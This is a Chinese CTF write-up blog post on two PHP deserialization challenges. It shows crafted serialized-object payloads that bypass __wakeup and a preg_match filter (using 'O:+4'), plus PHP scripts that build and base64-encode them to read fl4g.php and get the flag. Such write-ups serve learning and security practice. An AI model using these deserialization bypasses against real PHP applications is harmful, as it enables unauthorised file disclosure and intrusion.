两道反序列化例题

1.Web_php_unserialize

先代码审计,发现定义了demo类,而在其中有一句

这个函数说明在销毁demo时会高亮回显file。而且前面提示flag在fl4g.php中,于是需要构造反序列化的demo类,且要绕过wake_up函数,根据上篇可知,只要输入的数据数少于规定的就可以绕过。于是需要构造

O:4:"demo":1:{s:10:"Demofile";s:8:"fl4g.php";}   //原构造,未构建任何绕过
O:4:"demo":2:{s:10:"Demofile";s:8:"fl4g.php";}   //尝试绕过wake_up()
O:+4:"demo":2:{s:10:"Demofile";s:8:"fl4g.php";}  //在前面将4改为+4绕过正则匹配

正则匹配解析preg_match('/[oc]:\d+:/i', $var) 
在var中检测是否为  o:数字  或  c:数字   开头

而在这里有base64的一次解码所以需要base64加密后再上传

于是在vscode上构造base64转化

<?php 
class Demo { 
    private $file = 'fl4g.php';
}
$s='O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);
$x=str_replace(':1:', ':3:',$x);
echo base64_encode($s);
echo '      ';
echo base64_encode($x);
?>

在这里我构造了两个结果,最后出来的结果不相同,s将全部的序列化值直接转为base64而x为将fl4g.php转化为序列化后再通过代码修改序列化结果进行反序列化,但最后结果不同,使用base64解码回去发现用函数序列化的有特殊字符,所以必须用函数序列化。

 

 将base64后的值传参给var得到flag

 2.unserialize3

 又是_wakeup()函数

写代码用vscode绕过调试

<?php 
class xctf { 
    public $flag = '111';
}
$x= serialize(new xctf);
$x=str_replace(':1:', ':3:',$x);
echo $x;
?>

 

 传参后得到

总结

下次总结一下文件包含和伪协议,因为发现反序列化里有不少题目也用到了ssrf之类的知识,所以要学习一下再来做反序列化总结(续)

希望自己不要这么菜吧   _(:з」∠)_   ----L1men2 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值